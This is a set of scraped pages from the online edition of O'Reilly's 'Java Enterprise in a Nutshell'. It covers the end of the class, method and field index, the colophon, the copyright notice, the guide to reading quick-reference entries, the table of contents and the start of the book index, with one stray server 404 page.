value: AlreadyBoundHolder, AnyHolder, ARG_IN, ARG_INOUT, ARG_OUT, BAD_POLICY, BAD_POLICY_TYPE, BAD_POLICY_VALUE, BindingHolder, BindingIteratorHolder, BindingListHolder, BindingTypeHolder, BooleanHolder, ByteHolder, CannotProceedHolder, CharHolder, CTX_RESTRICT_SCOPE, DoubleHolder, DriverPropertyInfo, FixedHolder, FloatHolder, IntHolder, InvalidNameHolder, LongHolder, NameComponentHolder, NameHolder, NameValuePair, NamingContextHolder, NotEmptyHolder, NotFoundHolder, NotFoundReasonHolder, ObjectHolder, PrincipalHolder, PRIVATE_MEMBER, PUBLIC_MEMBER, ServiceInformationHolder, ShortHolder, StringHolder, TypeCodeHolder, UNSUPPORTED_POLICY, UNSUPPORTED_POLICY_VALUE, VM_ABSTRACT, VM_CUSTOM, VM_NONE, VM_TRUNCATABLE

value(): BindingType, CompletionStatus, DefinitionKind, NamedValue, NotFoundReason, SetOverrideType, TCKind

value_as_string(): DynEnum

value_as_ulong(): DynEnum

valueBound(): HttpSessionBindingListener

ValueMember: org.omg.CORBA

valueOf(): Date, Time, Timestamp

values: BasicAttribute

valueUnbound(): HttpSessionBindingListener

VARBINARY: Types

VARCHAR: Types

VERBOSE: LogStream

version: ValueMember

versionColumnNotPseudo: DatabaseMetaData

versionColumnPseudo: DatabaseMetaData

versionColumnUnknown: DatabaseMetaData

versionNumber: DeploymentDescriptor

VM_ABSTRACT: org.omg.CORBA

VM_CUSTOM: org.omg.CORBA

VM_NONE: org.omg.CORBA

VM_TRUNCATABLE: org.omg.CORBA

VMID: java.rmi.dgc

wasNull(): CallableStatement, ResultSet, SQLInput

why: NotFound

work_pending(): ORB

write(): AlreadyBoundHelper, BindingHelper, BindingIteratorHelper, BindingListHelper, BindingTypeHelper, CannotProceedHelper, InvalidNameHelper, IstringHelper, LogStream, NameComponentHelper, NameHelper, NamingContextHelper, NotEmptyHelper, NotFoundHelper, NotFoundReasonHelper, ObjID, OutputStream, ServiceDetailHelper, ServiceInformationHelper, UID

write_any(): OutputStream

write_boolean(): OutputStream

write_boolean_array(): OutputStream

write_char(): OutputStream

write_char_array(): OutputStream

write_Context(): OutputStream

write_double(): OutputStream

write_double_array(): OutputStream

write_fixed(): OutputStream

write_float(): OutputStream

write_float_array(): OutputStream

write_long(): OutputStream

write_long_array(): OutputStream

write_longlong(): OutputStream

write_longlong_array(): OutputStream

write_Object(): OutputStream

write_octet(): OutputStream

write_octet_array(): OutputStream

write_Principal(): OutputStream

write_short(): OutputStream

write_short_array(): OutputStream

write_string(): OutputStream

write_TypeCode(): OutputStream

write_ulong(): OutputStream

write_ulong_array(): OutputStream

write_ulonglong(): OutputStream

write_ulonglong_array(): OutputStream

write_ushort(): OutputStream

write_ushort_array(): OutputStream

write_value(): Any

write_wchar(): OutputStream

write_wchar_array(): OutputStream

write_wstring(): OutputStream

writeArray(): SQLOutput

writeAsciiStream(): SQLOutput

writeBigDecimal(): SQLOutput

writeBinaryStream(): SQLOutput

writeBlob(): SQLOutput

writeBoolean(): BytesMessage, SQLOutput, StreamMessage

writeByte(): BytesMessage, SQLOutput, StreamMessage

writeBytes(): BytesMessage, SQLOutput, StreamMessage

writeChar(): BytesMessage, StreamMessage

writeCharacterStream(): SQLOutput

writeClob(): SQLOutput

writeData(): RowSetWriter

writeDate(): SQLOutput

writeDouble(): BytesMessage, SQLOutput, StreamMessage

writeFloat(): BytesMessage, SQLOutput, StreamMessage

writeInt(): BytesMessage, SQLOutput, StreamMessage

writeLong(): BytesMessage, SQLOutput, StreamMessage

writeObject(): BytesMessage, SQLOutput, StreamMessage

writeRef(): SQLOutput

writeShort(): BytesMessage, SQLOutput, StreamMessage

writeSQL(): SQLData

writeString(): SQLOutput, StreamMessage

writeStruct(): SQLOutput

writeTime(): SQLOutput

writeTimestamp(): SQLOutput

writeUTF(): BytesMessage

WrongTransaction: org.omg.CORBA

XA_HEURCOM: XAException

XA_HEURHAZ: XAException

XA_HEURMIX: XAException

XA_HEURRB: XAException

XA_NOMIGRATE: XAException

XA_OK: XAResource

XA_RBBASE: XAException

XA_RBCOMMFAIL: XAException

XA_RBDEADLOCK: XAException

XA_RBEND: XAException

XA_RBINTEGRITY: XAException

XA_RBOTHER: XAException

XA_RBPROTO: XAException

XA_RBROLLBACK: XAException

XA_RBTIMEOUT: XAException

XA_RBTRANSIENT: XAException

XA_RDONLY: XAException, XAResource

XA_RETRY: XAException

XAConnection: javax.jms, javax.sql

XAConnectionFactory: javax.jms

XADataSource: javax.sql

XAER_ASYNC: XAException

XAER_DUPID: XAException

XAER_INVAL: XAException

XAER_NOTA: XAException

XAER_OUTSIDE: XAException

XAER_PROTO: XAException

XAER_RMERR: XAException

XAER_RMFAIL: XAException

XAException: javax.transaction.xa

XAQueueConnection: javax.jms

XAQueueConnectionFactory: javax.jms

XAQueueSession: javax.jms

XAResource: javax.transaction.xa

XASession: javax.jms

XATopicConnection: javax.jms

XATopicConnectionFactory: javax.jms

XATopicSession: javax.jms

Xid: javax.transaction.xa

Previous | Home | Next
36.1. The org.omg.CosNaming. NamingContextPackage Package | Book Index | 38. How to Use This Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/Java Enterprise/jenut/ch38_01.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Colophon (Java Enterprise in a Nutshell)

 Java™ Enterprise in a Nutshell: A Desktop Quick Reference Search this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The animal appearing on the cover of Java Enterprise in a Nutshell is a sand dollar (Echinarachnius parma). The sand dollar is a flattened, rigid, disk-shaped marine invertebrate related to sea urchins and sea stars. It is found in large numbers on the sandy bottoms in the coastal waters of many parts of the world. The sand dollar's shell, or test, is often perforated with petal-shaped slots arranged around a central point. The mouth is located in this central position on the underside of the shell. The shell is covered with spines of varying lengths. These spines aid the sand dollar in locomotion and enable it to burrow just below the surface of the sandy bottom. In this sand, the sand dollar finds the tiny organic material it feeds on, pushing the food towards its mouth with tiny tube feet. Additional tube feet on the upper side of the sand dollar are used for breathing.

The sand dollar's flower-like appearance and its abundance in many parts of the world have made it a favorite of shell collectors. Scientists have also taken an interest in this small invertebrate. The sand dollar is frequently used in the study of mitosis, the process of cell division. It is believed that a better understanding of mitosis may lead to a better understanding of cancer.

Mary Anne Weeks Mayo was the production editor and copyeditor for Java Enterprise in a Nutshell, Maureen Dempsey and Jane Ellin provided quality control, and Paulette Miley proofread the book. Kimo Carter provided production assistance. Lenny Muellner provided SGML support. Ellen Troutman Zaig wrote the index.

Edie Freedman designed the cover of this book, using a 19th-century engraving from the Dover Pictorial Archive. Kathleen Wilson produced the cover layout with Quark XPress 3.3 using Adobe's ITC Garamond font. The interior layouts were designed by Edie Freedman and Nancy Priest, with modifications by Alicia Cech and Lenny Muellner implemented the layout in gtroff. Interior fonts are Adobe ITC Garamond and Adobe ITC Franklin Gothic. The illustrations that appear in the book were produced by Robert Romano and Rhon Porter using Macromedia FreeHand 8 and Adobe Photoshop 5. This colophon was written by Clairemarie Fisher O'Leary.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Enterprise in a Nutshell Copyright Statement (Java Enterprise in a Nutshell)

 Java™ Enterprise in a Nutshell: A Desktop Quick Reference Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Java™ Enterprise in a Nutshell
by David Flanagan, Jim Farley, William Crawford and Kris Magnusson
ISBN 1-56592-483-5E

Print book published 1999 by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Gabriel® Original Tinkertoy® Construction Set image in association with Java™ Distributed Computing is a trademark of O'Reilly & Associates, Inc.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Previous | Home | Next
Table of Contents | Book Index | 0.1 Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


How to Use This Quick Reference (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

How to Use This Quick Reference

Contents:

Finding a Quick-Reference Entry
Reading a Quick-Reference Entry

The quick-reference section that follows packs a lot of information into a small space. This introduction explains how to get the most out of that information. It describes how the quick reference is organized and how to read the individual entries.

1. Finding a Quick-Reference Entry

The quick reference is organized into chapters, one per package. Each chapter begins with an overview of the package and includes a hierarchy diagram for the classes and interfaces in the package. Following this overview are quick-reference entries for all the classes and interfaces in the package.

Entries are organized alphabetically by class and package name, so that related classes are grouped near each other. Thus, in order to find an entry for a particular class, you must also know the name of the package that contains that class. Usually, the package name is obvious from the context, and you should have no trouble looking up the quick-reference entry you want. Use the chapter tabs and the "dictionary-style" headers, which are located at the upper outside corner of each page, to help you find packages and classes.

Occasionally, you may need to look up a class for which you do not already know the package. In this case, refer to Chapter 37, "Class, Method, and Field Index". This index allows you to look up a class by class name and find the package it is part of. (The index also allows you to look up a method or field name and find the class or classes define it.)

Previous | Home | Next
Part 3. API Quick Reference | Book Index | Reading a Quick-Reference Entry
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Reading a Quick-Reference Entry (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2. Reading a Quick-Reference Entry

Each quick-reference entry contains quite a bit of information. The sections that follow describe the structure of a quick-reference entry, explaining what information is available, where it is found, and what it means. While reading the following descriptions, you will find it helpful to flip through the reference section itself to find examples of the features being described.

2.1. Class Name, Package Name, Availability, and Flags

Each quick-reference entry begins with a four-part title that specifies the name, package, and availability of the class, and may also specify various additional flags that describe the class. The class name appears in bold at the upper left of the title. The package name appears, in smaller print, in the lower- left, below the class name.

The upper-right portion of the title indicates the availability of the class; it specifies the earliest release that contained the class. If a class was introduced in Java 1.1, for example, this portion of the title reads "Java 1.1". If the class was introduced in Version 1.2 of the Java 2 platform, the availability reads "Java 1.2," for simplicity's sake. If the class is part of a standard extension, this portion of the title specifies the name (or acronym) of the standard extension and the earliest version in which the class appeared. For example, the availability might read "Servlets 2.0" or "JNDI 1.1." The availability section of the title is also indicates whether a class has been deprecated, and, if so, in what release. For example, it might read "Java 1.1; Deprecated in Java 1.2."

In the lower-right corner of the title you may find a list of flags that describe the class. The possible flags and their meanings are as follows:

checked

The class is a checked exception, which means that it extends java.lang.Exception, but not java.lang.RuntimeException. In other words, it must be declared in the throws clause of any method that may throw it.

cloneable

The class, or a superclass, implements java.lang.Cloneable.

collection

The class, or a superclass, implements java.util.Collection or java.util.Map.

comparable

The class, or a superclass, implements java.lang.Comparable.

error

The class extends java.lang.Error.

event

The class extends java.util.EventObject.

event adapter

The class, or a superclass, implements java.util.EventListener, and the class name ends with "Adapter."

event listener

The class, or a superclass, implements java.util.EventListener.

layout manager

The class, or a superclass, implements java.awt.LayoutManager.

PJ1.1

The class or interface is part of the Personal Java 1.1 platform.

PJ1.1(mod)

The class or interface is supported, in modified form, by the Personal Java 1.1 platform.

PJ1.1(opt)

The class or interface is an optional part of the Personal Java 1.1 platform. Support for the class is implementation-dependent.

remote

The class, or a superclass, implements java.rmi.Remote.

runnable

The class, or a superclass, implements java.lang.Runnable.

serializable

The class, or a superclass, implements java.io.Serializable and may be serialized.

unchecked

The class is an unchecked exception, which means it extends java.lang.RuntimeException and, therefore, does not need to be declared in the throws clause of a method that may throw it.

2.2. Description

The title of each quick-reference entry is followed by a short description of the most important features of the class or interface. This description may be anywhere from a couple of sentences to several paragraphs long.

2.3. Synopsis

The most important part of every quick-reference entry is the class synopsis, which follows the title and description. The synopsis for a class looks a lot like the source code for the class, except that the method bodies are omitted, and some additional annotations are added. If you know Java syntax, you can read the class synopsis.

The first line of the synopsis contains information about the class itself. It begins with a list of class modifiers, such as public, abstract, and final. These modifiers are followed by the class or interface keyword and then by the name of the class. The class name may be followed by an extends clause that specifies the superclass and an implements clause that specifies any interfaces the class implements.

The class definition line is followed by a list of the fields and methods the class defines. Once again, if you understand basic Java syntax, you should have no trouble making sense of these lines. The listing for each member includes the modifiers, type, and name of the member. For methods, the synopsis also includes the type and name of each method parameter and an optional throws clause that lists the exceptions the method can throw. The member names are in boldface, so that it is easy to scan the list of members looking for the one you want. The names of method parameters are in italics to indicate that they are not to be used literally. The member listings are printed on alternating gray and white backgrounds to keep them visually separate.

2.3.1. Member availability and flags

Each member listing is a single line that defines the API for that member. These listings use Java syntax, so their meaning is immediately clear to any Java programmer. There is some auxiliary information associated with each member synopsis, however, that requires explanation.

Recall that each quick-reference entry begins with a title section that includes the release in which the class was first defined. When a member is introduced into a class after the initial release of the class, the version in which the member was introduced appears, in small print, to the left of the member synopsis. For example, if a class was first introduced in Java 1.1, but had a new method added in Version 1.2 of Java 2, the title contains the string "Java 1.1," and the listing for the new member is preceded by the number "1.2." Furthermore, if a member has been deprecated, that fact is indicated with a hash mark (#) to the left of the member synopsis.

The area to the right of the member synopsis displays a variety of flags that provide additional information about the member. Some of these flags indicate additional specification details that do not appear in the member API itself. Other flags contain implementation-specific information. This information can be quite useful in understanding the class and in debugging your code, but be aware that it may differ between implementations. The implementation-specific flags displayed in this book are based on Sun's implementation of Java for Microsoft Windows.

The following flags may be displayed to the right of a member synopsis:

native

An implementation-specific flag that indicates that a method is implemented in native code. Although native is a Java keyword and can appear in method signatures, it is part of the method implementation, not part of its specification. Therefore, this information is included with the member flags, rather than as part of the member listing. This flag is useful as a hint about the expected performance of a method.

synchronized

An implementation-specific flag that indicates a method implementation is declared synchronized, meaning that it obtains a lock on the object or class before executing. Like the native keyword, the synchronized keyword is part of the method implementation, not part of the specification, so it appears as a flag, not in the method synopsis itself. This flag is a useful hint that the method is probably implemented in a thread-safe manner.

Whether or not a method is thread-safe is part of the method specification, and this information should appear (although it often does not) in the method documentation. There are a number of different ways to make a method thread-safe, however, and declaring the method with the synchronized keyword is only one possible implementation. In other words, a method that does not bear the synchronized flag can still be thread-safe.

Overrides:

Indicates that a method overrides a method in one of its superclasses. The flag is followed by the name of the superclass that the method overrides. This is a specification detail, not an implementation detail. As we'll see in the next section, overriding methods are usually grouped together in their own section of the class synopsis. The Overrides: flag is used only when an overriding method is not grouped in that way.

Implements:

Indicates that a method implements a method in an interface. The flag is followed by the name of the interface that is implemented. This is a specification detail, not an implementation detail. As we'll see in the next section, methods that implement an interface are usually grouped into a special section of the class synopsis. The Implements: flag is used only for methods that are not grouped in this way.

empty

Indicates that the implementation of the method has an empty body. This can be a hint to the programmer that the method may need to be overridden in a subclass.

constant

An implementation flag that indicates a method has a trivial implementation. Only methods with a void return type can be truly empty. Any method declared to return a value must have at least a return statement. The "constant" flag indicates the method implementation is empty except for a return statement that returns a constant value. Such a method might have a body like return null; or return false;. Like the "empty" flag, this flag indicates that a method may need to be overridden.

default:

This flag is used with property accessor methods that read the value of a property (i.e., methods whose names begins with "get" and take no arguments). The flag is followed by the default value of the property. Strictly speaking, default property values are a specification detail. In practice, however, these defaults are not always documented, and care should be taken, because the default values may change between implementations.

Not all property accessors have a "default:" flag. A default value is determined by dynamically loading the class in question, instantiating it using a no-argument constructor, and then calling the method to find what it returns. This technique can be used only on classes that can be dynamically loaded and instantiated and that have no-argument constructors, so default values are shown for those classes only. Furthermore, note that when a class is instantiated using a different constructor, the default values for its properties may be different.

bound

This flag is used with property accessor methods for bound properties of JavaBeans components. The presence of this flag means that calling the method generates a java.beans.PropertyChangeEvent. This is a specification detail, but it is sometimes not documented. Information about bound properties is obtained from the BeanInfo object for the class.

constrained

Indicates that a JavaBeans component property is constrained. In other words, the method may throw a java.beans.PropertyVetoException. This is a specification detail, not an implementation detail.

expert

Indicates that the BeanInfo object for this class specifies this method is intended for use by experts only. This hint is intended for visual programming tools, but users of this book may find the hint useful as well.

hidden

Indicates that the BeanInfo object for this class specifies this method is for internal use only. This is a hint that visual programming tools should hide the property or event from the programmer. This book does not hide these methods, of course, but this flag indicates you should probably avoid using the method.

preferred

Indicates that the BeanInfo object for this class specifies that this method is an accessor for a default or preferred property or event. This is a hint to visual programming tools to display the property or event in a prominent way, and it may also be a useful hint to readers of this book.

=

For staticfinal fields, this flag is followed by the constant value of the field. Only constants of primitive and String types and constants with the value null are displayed. Some constant values are specification details, while others are implementation details. The reason that symbolic constants are defined, however, is so you can write code that does not rely directly upon the constant value. Use this flag to help you understand the class, but do not rely upon the constant values in your own programs.

2.3.2. Functional grouping of members

Within a class synopsis, the members are not listed in strict alphabetical order. Instead, they are broken into functional groups and listed alphabetically within each group. Constructors, methods, fields, and inner classes are listed separately. Instance methods are kept separate from static (class) methods. Constants are separated from nonconstant fields; public members are listed separately from protected members. Grouping members by category breaks a class down into smaller, more comprehensible segments, making the class easier to understand. This grouping also makes it easier for you to find a desired member.

Functional groups are separated from each other in a class synopsis with Java comments, such as "// Public Constructors", "// Inner Classes", and "// Methods Implementing Servlet". The various functional categories are as follows (in the order in which they appear in a class synopsis):

Constructors

Displays the constructors for the class. Public constructors and protected constructors are displayed separately in subgroupings. If a class defines no constructor at all, the Java compiler adds a default no-argument constructor that is displayed here. If a class defines only private constructors, it cannot be instantiated, and a special, empty grouping entitled "No Constructor" indicates this fact. Constructors are listed first because the first thing you do with most classes is instantiate them by calling a constructor.

Constants

Displays all constants (i.e., fields that are declared static and final) defined by the class. Public and protected constants are displayed in separate subgroups. Constants are listed here, near the top of the class synopsis, because constant values are often used throughout the class as legal values for method parameters and return values.

Inner Classes

Groups all inner classes and interfaces defined by the class or interface. For each inner class, there is a single-line synopsis. Each inner class also has its own quick-reference entry that includes a full class synopsis for the inner class. Like constants, inner classes are listed near the top of the class synopsis because they are often used by other members of the class.

Static Methods

Lists the static methods (class methods) of the class, broken down into subgroups for public static methods and protected static methods.

Event Listener Registration Methods

Lists the public instance methods that register and deregister event listener objects with the class. The names of these methods begin with the words "add" and "remove" and end in "Listener." These methods are always passed a java.util.EventListener object, and are typically defined in pairs, so the pairs are listed together. The methods are listed alphabetically by event name, rather than by method name.

Public Instance Methods

Contains all public instance methods that are not grouped elsewhere.

Implementing Methods

Groups the methods that implement the same interface. There is one subgroup for each interface implemented by the class. Methods defined by the same interface are almost always related to each other, so this is a useful functional grouping of methods.

Overriding Methods

Groups the methods that override methods of a superclass broken into subgroups by superclass. This is typically a useful grouping, because it helps to make it clear how a class modifies the default behavior of its superclasses. In practice, it is also often true that methods that override the same superclass are functionally related to each other.

Protected Instance Methods

Contains all protected instance methods that are not grouped elsewhere.

Fields

Lists all nonconstant fields of the class, breaking them down into subgroups for public and protected static fields, and public and protected instance fields. Many classes do not define any publicly accessible fields. For those that do, many object-oriented programmers prefer not to use those fields directly, but instead to use accessor methods when such methods are available.

Deprecated Members

Deprecated methods and deprecated fields are grouped at the very bottom of the class synopsis. Use of these members is strongly discouraged.

2.4. Class Hierarchy

For any class or interface that has a nontrivial class hierarchy, the class synopsis is followed by a "Hierarchy" section. This section lists all superclasses of the class, as well as any interfaces implemented by those superclasses. It may also list any interfaces extended by an interface. In the hierarchy listing, arrows indicate superclass to subclass relationships, while the interfaces implemented by a class follow the class name in parentheses. For example, the following hierarchy indicates that javax.servlet.ServletException extends Exception, which extends Throwable (which implements Serializable), which extends Object:

Object-->Throwable(Serializable)-->Exception-->ServletException

If a class has subclasses, the "Hierarchy" section is followed by a "Subclasses" section that lists those subclasses. If an interface has implementations, the "Hierarchy" section is followed by an "Implementations" section that lists those implementations. While the "Hierarchy" section shows ancestors of the class, the "Subclasses" or "Implementations" section shows descendants.

2.5. Cross References

The class hierarchy section of a quick-reference entry is followed by a number of optional "cross reference" sections that indicate other, related classes and methods that may be of interest. These sections are:

Passed To

This section lists all methods and constructors that are passed an object of this type as an argument. This is useful when you have an object of a given type and want to figure out what you can do with it.

Returned By

This section lists all methods (but not constructors) that return an object of this type. This is useful when you know that you want to work with an object of this type, but don't know how to obtain one.

Thrown By

For checked exception classes, this section lists all methods and constructors that throw exceptions of this type. This material helps you figure out when a given exception or error may be thrown. Note, however, that this section is based on the exception types listed in the throws clauses of methods and constructors. Subclasses of RuntimeException and Error do not have to be listed in throws clauses, so it is not possible to generate a complete cross reference of methods that throw these types of unchecked exceptions.

Type Of

This section lists all of the fields and constants that are of this type, which can help you figure out how to obtain an object of this type.

2.6. A Note About Class Names

Throughout the quick reference, you'll notice that classes are sometimes referred to by class name alone and at other times referred to by class name and package name. If package names were always used, the class synopses would become long and hard to read. On the other hand, if package names were never used, it would sometimes be difficult to know what class was being referred to. The rules for including or omitting the package name are complex. They can be summarized approximately as follows, however:

  • If the class name alone is ambiguous, the package name is always used.

  • If the class is part of java.lang or java.io, the package name is omitted.

  • If the class being referred to is part of the current package (and has a quick-ref entry in the current chapter), the package name is omitted. The package name is also omitted if the class being referred to is part of a package that contains the current package. And it is sometimes omitted if the class being referred to is part of a subpackage of the current package.

Previous | Home | Next
How to Use This Quick Reference | Book Index | 13. The java.rmi Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Desktop Quick Reference (Java Enterprise in a Nutshell: Java™ Enterprise in a Nutshell)

by David Flanagan, Jim Farley, William Crawford and Kris Magnusson
ISBN 1-56592-483-5E
First edition, published September 1999.
(See the catalog page for this book.)

Search the text of Java™ Enterprise in a Nutshell: A Desktop Quick Reference.

Table of Contents

Copyright
Preface

Part 1: Introducing the Java Enterprise APIs

Chapter 1: Introduction
Chapter 2: JDBC
Chapter 3: Remote Method Invocation
Chapter 4: Java IDL
Chapter 5: Java Servlets
Chapter 6: JNDI
Chapter 7: Enterprise JavaBeans

Part 2: Enterprise Reference

Chapter 8: SQL Reference
Chapter 9: RMI Tools
Chapter 10: IDL Reference
Chapter 11: CORBA Services Reference
Chapter 12: Java IDL Tools

Part 3: API Quick Reference

How to Use This Quick Reference
Chapter 13: The java.rmi Package
Chapter 14: The java.rmi.activation Package
Chapter 15: The java.rmi.dgc Package
Chapter 16: The java.rmi.registry Package
Chapter 17: The java.rmi.server Package
Chapter 18: The java.sql Package
Chapter 19: The javax.ejb Package
Chapter 20: The javax.ejb.deployment Package
Chapter 21: The javax.jms Package
Chapter 22: The javax.naming Package
Chapter 23: The javax.naming.directory Package
Chapter 24: The javax.naming.spi Package
Chapter 25: The javax.servlet Package
Chapter 26: The javax.servlet.http Package
Chapter 27: The javax.sql Package
Chapter 28: The javax.transaction Package
Chapter 29: The javax.transaction.xa Package
Chapter 30: The org.omg.CORBA Package
Chapter 31: The org.omg.CORBA.DynAnyPackage Package
Chapter 32: The org.omg.CORBA.ORBPackage Package
Chapter 33: The org.omg.CORBA.portable Package
Chapter 34: The org.omg.CORBA.TypeCodePackage Package
Chapter 35: The org.omg.CosNaming Package
Chapter 36: The org.omg.CosNaming.NamingContextPackage Package
Chapter 37: Class, Method, and Field Index
Colophon
Index

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introducing the Java Enterprise APIs (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Part 1. Introducing the Java Enterprise APIs

Part I is an introduction to the key Enterprise APIs. These chapters provide enough information for you to get started using these APIs right away.

Previous | Home | Next
0.7. Acknowledgments | Book Index | 1. Introduction
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprise Reference (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Part 2. Enterprise Reference

Part II contains reference material on two enterprise-related technologies, SQL and IDL, and on the tools provided with Sun's Java Development Kit for RMI and Java IDL.

Previous | Home | Next
7.9. Changes in EJB 1.1 Specification | Book Index | 8. SQL Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


API Quick Reference (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Part 3. API Quick Reference

Part III is the real heart of this book: quick-reference material for the Java Enterprise APIs. Please read "How to Use This Quick Reference" to learn how to get the most out of this material.

Previous | Home | Next
12. Java IDL Tools | Book Index | How to Use This Quick Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: Java™ Enterprise in a Nutshell: A Desktop Quick Reference

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0

:: delimiter (IDL naming scopes): 10.6. Naming Scopes
(/) name components, separating: 22. The javax.naming Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A

access control: 7.7. Deploying an Enterprise JavaBeans Object
7.8.1. Finding Home Interfaces Through JNDI
container, managing: 7.2.3. The EJB Container
CORBA Licensing Service: 11.11. Licensing Service
CORBA Security Service: 11.2. Security Service
deployment attributes: 7.7.2. Access-Control Deployment Attributes
exceptions: 7.7.2. Access-Control Deployment Attributes
servlets: 5.2.5. Servlet Requests
Access database (Microsoft), metadata: 2.9.1. DatabaseMetaData
AccessControlEntry class: 20. The javax.ejb.deployment Package
AccessException class: 13. The java.rmi Package
13. The java.rmi Package
accessor methods
attributes (IDL interface), mapping to: 10.10.4.2. Attributes
unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java
10.7.6.1. Mapping unions to Java
ACID characteristics (transactions), listed: 11.9. Transaction Service
Activatable class: 3.2.1. Key RMI Classes for Remote Object Implementations
3.2.1. Key RMI Classes for Remote Object Implementations
3.6. Remote Object Activation
3.6.2. Defining an Activatable Remote Object
3.6.2.1. The Activatable class
14. The java.rmi.activation Package
activatable objects: 3.6. Remote Object Activation
arguments, passing before activation: 3.6.3.2. Passing data with the MarshalledObject
assigning to groups: 3.6.4.2. Assigning activatable objects to groups
implementing: 3.6.2.2. Implementing an activatable object
registering: 3.6.3. Registering Activatable Objects
without activating: 3.6.3.1. Registering an activatable object without instantiating
ActivateFailedException class: 14. The java.rmi.activation Package
activation
beans: 7.4.3. The Bean Implementation
container role: 7.2.3. The EJB Container
entity beans: 7.6.5. Life Cycle of an Entity Bean
bean-managed persistence: 7.6.3.1. A persistent ProfileBean
remote objects: 3.6. Remote Object Activation
RMI activation system: 14. The java.rmi.activation Package
session beans: 19. The javax.ejb Package
activation daemon (RMI): 9. RMI Tools
options: 9. RMI Tools
activation groups: 3.6. Remote Object Activation
3.6.4. Activation Groups
activatable objects, assigning to: 3.6.4.2. Assigning activatable objects to groups
activatable objects, registering: 3.6.3. Registering Activatable Objects
Activator, group description: 3.6.5. The Activation Daemon
registering: 3.6.4.1. Registering activation groups
activation system (RMI)
activation daemon: 3.6.5. The Activation Daemon
3.6.5.1. The daemon's dual personality
ActivationGroup, registering: 3.6.4.1. Registering activation groups
objects, registering: 3.6.1. Persistent Remote References
3.6.2. Defining an Activatable Remote Object
3.6.2.2. Implementing an activatable object
ActivationDesc class: 3.6.3. Registering Activatable Objects
14. The java.rmi.activation Package
ActivationException class: 14. The java.rmi.activation Package
ActivationGroup class: 14. The java.rmi.activation Package
entire group, becoming inactive: 3.6.4. Activation Groups
objects, maintaining: 3.6.4. Activation Groups
ActivationGroupDesc class: 3.6.4.1. Registering activation groups
14. The java.rmi.activation Package
CommandEnvironment class: 14. The java.rmi.activation Package
ActivationGroupID class: 3.6.4.1. Registering activation groups
14. The java.rmi.activation Package
ActivationID class: 3.6.2.1. The Activatable class
3.6.2.2. Implementing an activatable object
14. The java.rmi.activation Package
14. The java.rmi.activation Package
ActivationInstantiator interface: 14. The java.rmi.activation Package
ActivationMonitor class: 3.6.4. Activation Groups
ActivationMonitor interface: 14. The java.rmi.activation Package
ActivationSystem interface: 14. The java.rmi.activation Package
Activator interface: 14. The java.rmi.activation Package
activatable objects registry: 3.6.5. The Activation Daemon
active object references, transferring: 3.6.4. Activation Groups
inactive groups, recreating: 3.6.4. Activation Groups
activeObject() (ActivationGroup): 3.6.4. Activation Groups
14. The java.rmi.activation Package
add()
Attribute interface: 6.9.4. The Attribute Interface
BasicAttribute class: 23. The javax.naming.directory Package
addBatch()
CallableStatement interface: 2.13.2. Batch Updates
PreparedStatement interface: 2.13.2. Batch Updates
Statement interface: 2.13.2. Batch Updates
addCookie()
HttpServletResponse interface: 5.7. Cookies
addCookie() (HttpServletResponse): 26. The javax.servlet.http Package
addresses (references): 22. The javax.naming Package
22. The javax.naming Package
adjacent string literals (idltojava compiler bugs): 12. Java IDL Tools
afterBegin() (SessionSynchronization): 7.5.2. Optional Transaction Support
19. The javax.ejb Package
afterCompletion()
SessionSynchronization interface: 7.5.2. Optional Transaction Support
Synchronization interface: 28. The javax.transaction Package
aggregate functions (SQL): 8.5. Functions
AlreadyBound class: 36. The org.omg.CosNaming. NamingContextPackage Package
AlreadyBoundException class: 3.4.1. The Registry and Naming Services
13. The java.rmi Package
